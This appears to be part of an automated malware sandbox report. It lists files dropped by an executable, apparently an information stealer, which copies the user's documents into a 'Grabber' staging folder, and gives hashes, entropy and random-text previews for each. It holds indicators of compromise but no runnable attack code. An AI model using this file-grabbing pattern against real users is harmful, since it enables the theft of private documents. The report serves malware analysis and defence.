Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
